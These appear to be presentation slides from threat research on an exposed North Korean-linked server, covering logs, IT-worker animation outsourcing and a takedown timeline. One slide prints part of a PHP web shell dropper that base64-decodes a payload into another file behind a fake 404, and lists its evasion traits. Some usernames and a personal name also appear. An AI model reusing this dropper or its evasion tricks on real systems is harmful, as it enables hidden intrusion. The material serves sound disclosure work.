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Introductions



Overview



Overview

● North Korea’s IT workforce is a key revenue source for the regime, often 
operating under strict government oversight.

● Access to a misconfigured server offers a rare glimpse into the daily activities 
of North Korean IT workers abroad.

● Uncovered data provides valuable insights into global outsourcing practices 
and hidden operations.



Findings

● Three months of logs detailing user 
activities, VPN usage, and project 
management tasks.

● Evidence of animation projects tied to global 
productions (The Octonauts, Invincible, and 
others).

● Documents revealing worker instructions, 
intermediaries, and software usage.



Discovery



North Korean Internet

AS20485 -  Joint Stock Company 
TransTeleCom 

AS134544 - Cenbong Int'l Holdings Limited

175.45.176.0/22



.kp TLD



175.45.176.31



Open Directories



Accessing the data

Logs from 12/15/23 - 4/20/24

Couple of gaps. We’re not perfect

Some interesting things to pull out of the logs

Roughly 250 GB total files



VPN Logins

● Mostly logging in from Express VPN 
and VPN Gate



Users and Non-VPN Sources



Failed Logins - User Agent ‘test’

104.234.140.0/24 
85.203.21.0/24

rg2020kasang - 34.542%
rrdiccloud - 31.604%
kasangtest - 9.859%
kumbitkasang - 9.832%
scb - 5.263%
imcholung - 4.6%
rgykasang - 4.299%



Other Failed Logins

시험 (test) komogeco

asd 최현성  (Hyunseong Choi)

test-m tkhyp@star-co.net.kp

T-81vr-m jcg0123

pkitc@silibank.net.kp pyitc

pkitc@star-co.net.kp hyon

kitc@star-co.net.kp imcholung

kitc



Spike In Activity

March 11th saw a huge spike in activity for the user star1
Activity stopped after this



Remember that free VPN?



Remember that user kasangtest?



What Does It All 
Mean?



starwebuser.sql

● Amount: 220 won (foreign currency) per computer.
○ Service type: e-mail, route, FTP, webmail

● Signup at Pyongyang Internet and Communications Office between the 10th and 25th 
of each month.

● Detailed information about required security software
○ Silivaccine or Chambit
○ Fortress
○ Hana for Korean characters
○ Netkey

● Introduction of a data leak prevention system
● Operating hours and physical addresses of critical communication infrastructure 

detailed in the document.



starwebuser.sql

“A data leak prevention system is 
being introduced in relation to the 
international communication network 
security project”



NetKey



starwebuser.sql

● 15% of passwords are 12345678
● Usernames for North Korean 

companies and services
● Fun usernames: dutyfree, reuters, 

lionking, ironman, pyonggang
● No supreme leader :( 
● Doesn’t seem to work on publicly 

accessible FTP servers



Second Set of 
Usernames

● Number 
● Representative 

Name
● Occupation 
● Passport Number
● User Name 
● Minutes (min) 
● User Identifier
●  Password 
● Registration Date 
● Communication 

Time (min) 
● Handler



Factory Tour

● Factory in Vietnam?
● PVC Resin bags have 

Vietnamese text
● Machines are 

manufactured in China
● ANSYL is SE Asia
● DELTA_IA-HMI_DOPS

oft-4-00-16-30_SW_TS
E_20230522.zip

● PIStudio_8.4.66.23102
001.zip

https://docs.google.com/file/d/1PKpH9_ySeeRGeJ6XK0sozxWGOvsaWDfS/preview


About Cryptography

《All postal workers and workers 
should have a deep knowledge 
of the postal sector and make 
steady efforts to be well-versed 
in the global development trends 
and the latest science and 
technology in the postal sector.》 
- Kim Jong Il

● Written by System 
Development Lab Local 
Direction

● Mentions the program 
Chambit



Animation Studio
Found watermark on some animation



Animation Studio
Translated Weibo page
https://weibo.com/u/6819133609



Change Requests & Work Orders

Tons of documents with changes and 
fixes to animation



China Social Insurance



Animation Files

https://docs.google.com/file/d/1jpwG0R6TUHwiA7v4ssSW1KzHAPQx_awz/preview


Animation Files

https://docs.google.com/file/d/16zGtWg8IVo5L5B3d4gO2iVL9ltFiYuB7/preview




Remote Work
3D 편집물 제작 입찰건입니다.
1.jpg와 2.jpg에 밝힌것과 같은 작은 
물건들을 모형화하고 
실례동영상에서처럼 선회하는 
동영상을 제작하는것입니다.
한개당 비용과 제작기일을 
알려주십시오.
This is a bid for the production of 3D 
editing materials. It is to model small 
objects as shown in 1.jpg and 2.jpg 
and produce a video of them rotating 
as shown in the example video. Please 
tell me the cost per piece and the 
production period.



Shopping



Shopping



Shopping



Literal GIGS of Russian horse movies and books



jiufw.key

● App Signing for Android: Digitally signs 
apps for secure deployment and compliance 
with app store or private distribution 
requirements.

● APK Packaging & Distribution: Upload, 
package, and sign APKs, generating download 
links or QR codes for easy sharing.

● Private & Public Distribution: Supports 
private signing for secure enterprise app 
deployment.



Company Responses

Outsourcing Chain

● Typhoon Graphics (Japan) → Japanese production 
company → Chinese company → Another Chinese 
subcontractor → Suspected North Korean studio

Company Responses

● Typhoon Graphics:
○ Investigated the issue but couldn’t confirm North 

Korean involvement.
○ Decided to redo affected scenes with domestic 

animators.
● EKACHI EPILKA:

○ Their layout sheets were used without permission.
○ Denied direct ties to North Korea, suggested a 

subcontractor leak.



12/23

Server Discovered

● December 17, 2023: 
Initial discovery of the 
server.

● December 29, 2023: 
Open directory is 
discovered.

Activity Period

● January 31, 2024: Most 
activity on the server 
ceases.

● March 11, 2024: The last 
user login is recorded.

01/24

03/24

Server Exposed

● April 22, 2024: Stories 
about the findings are 
published.

04/24

North Korea Realizes Something is 
Wrong

● April 27, 2024: All 
contents in the "star1" 
directory are deleted.

● April 30, 2024: Errors 
accessing log files 
suggest cleanup or 
server maintenance.

05/24

Server Shutdown

● May 8, 2024: The server 
is finally taken offline 
between 1:45 and 2 AM 
ET

Timeline



What are the 
Files



Junos Logs



Star mail client

[StarMailServer]
Description="별합작회사" (Star Joint Venture)
PopServer=pop.star.kp
PopPort=995
SmtpServer=smtp.star.kp
SmtpPort=587
UseTls=1

[626MailServer]
Description="광명정보" (Gwangmyeong Information)
PopServer=214.6.26.30
PopPort=110
SmtpServer=214.6.26.30
SmtpPort=25
UseTls=0



Reverse Shell

● Encodes data with base64 and 
AES-256-CBC to hide operations.

● Executes system commands, modifies 
files, and interacts with MySQL.

● Returns a 404 status code to avoid 
detection.

● Cleans logs and removes traces of 
activity.

● File name is similar to other animation 
projects and discovered in the trash

<?php
http_response_code(404);
$content = 
base64_decode("PD9waHAKCmh0dHBfcmVzc
G9uc2VfY29kZSg0MDQpOwpvYl9zdGFydCgp
OwoKCi…….)
$path = 
str_replace('/BS/240129/EP06-D-0129.php','',__
FILE__).'/../../../core/ajax.php';
file_put_contents($path,$content);



Going forward



Glocom

● 2017 UN report, claimed that Glocom 
was a front company for the 
government of North Korea

● Radar systems, communications 
software, and military radio gear

● Seriously, make sure you don’t have 
open directories



Amnokgang Technology Development

Facial Recognition. Develops access 
control systems based on Chinese 
technology.
Surveillance Systems. Provides 
AI-powered CCTV for state monitoring 
and control.
Biometric Security. Fingerprint scanners 
and access control for government use.



IT Workers In the Wild

NetKey Icon



Phones!


